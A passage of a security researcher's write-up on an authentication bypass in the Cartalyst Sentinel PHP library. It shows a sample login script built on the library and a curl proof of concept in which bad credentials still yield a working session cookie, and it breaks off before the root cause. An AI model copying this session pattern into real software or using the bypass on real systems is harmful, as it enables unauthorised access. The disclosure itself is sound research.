text
stringlengths
0
1.99k
During one of my many long journeys into source code auditing, a security
appliance came to my attention. It was running some outdated janky PHP
code which was reminiscent of the days where... ahem, never mind.
The appliance had been audited several times which attracted me because I
personally love the challenge of uncovering vulnerabilities in harder web
environments. It means I get to find much more complex and intricate bugs,
chain things, do the logical dance across the web stack so to speak. All
with time permitting of course.
Well, without much time permitting and within a 4-day window of
distraction-less auditing (those with kids who work at home, I see you)
I did manage to complete a full chain.
Due to the nature of the engagement, I cannot disclose the full details
but since the bugs are not actually within the application logic, but
rather an outdated third-party library, I figured what the hell. Wins
come rarely these days, especially ones I can talk about due to working on
harder targets, life, NDAs, so I wanted to share the root cause of this
authentication bypass issue for the sake of learning.
--[ 1. Environment
So let's say you have built a super secure PHP app with Cartalyst
Sentinel [0]:
...........................................................................
<?php
include 'config.php';
use Cartalyst\Sentinel\Native\Facades\Sentinel;
function renewSession(){
Sentinel::login(Sentinel::getUser());
}
if ($user = Sentinel::check()){ // 1
$email = Sentinel::getUser()['email'];
if (isset($_GET['logout']) && $_GET['logout'] === 'true'){
Sentinel::logout();
exit("logged out ".$email);
}
renewSession(); // 2
}else{
if (isset($_GET['login']) && $_GET['login'] === 'true' &&
isset($_GET['user']) && isset($_GET['pwd'])){
$user = Sentinel::authenticate(array( // 3
'email' => $_GET['user'],
'password' => $_GET['pwd'],
));
if (!$user){ // 4
exit("credentials failed!");
}
}else{
exit("user not logged in!\r\n");
}
}
echo('logged in as '.$email."\r\n");
echo("now do something\r\n"); // 5
...........................................................................
Seems secure right? I see a few of you humming and harring. Well, the
target appliance code was more or less written this way.
The code at (1) checks if the user is logged in. If so, then unless they
want to logout, their session is renewed with a call to renewSession() at
(2). The renewSession function grabs the current user from the session and
logs the user back in. This is due to PHP's default session timeout being
24 minutes.
If the user is not logged in, there is a call to authenticate() in (3)
with the user-supplied credentials. The return value is checked in (4).
The goal is to reach (5) without a valid PHPSESSID or valid credentials.
--[ 2. Proof of Concept
This time, let's start with the POC:
...........................................................................
researcher@venus:~/sentinel$ curl http://localhost:8000/
user not logged in!
researcher@venus:~/sentinel$ curl -I
http://localhost:8000/?login=true&user=john.wick@example.com&pwd=foobar
HTTP/1.1 200 OK
Host: localhost:8000
Date: Wed, 19 Mar 2025 22:31:50 GMT
Connection: close
X-Powered-By: PHP/7.3.33-24+0~20250311.131+debian12~1.gbp8dc7d2
Set-Cookie: PHPSESSID=u45a6uk3o7d4r0sqmkhrghrm2u; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
researcher@venus:~/sentinel$ curl --cookie
'PHPSESSID=u45a6uk3o7d4r0sqmkhrghrm2u' http://localhost:8000/
logged in as john.wick@example.com
now do something
...........................................................................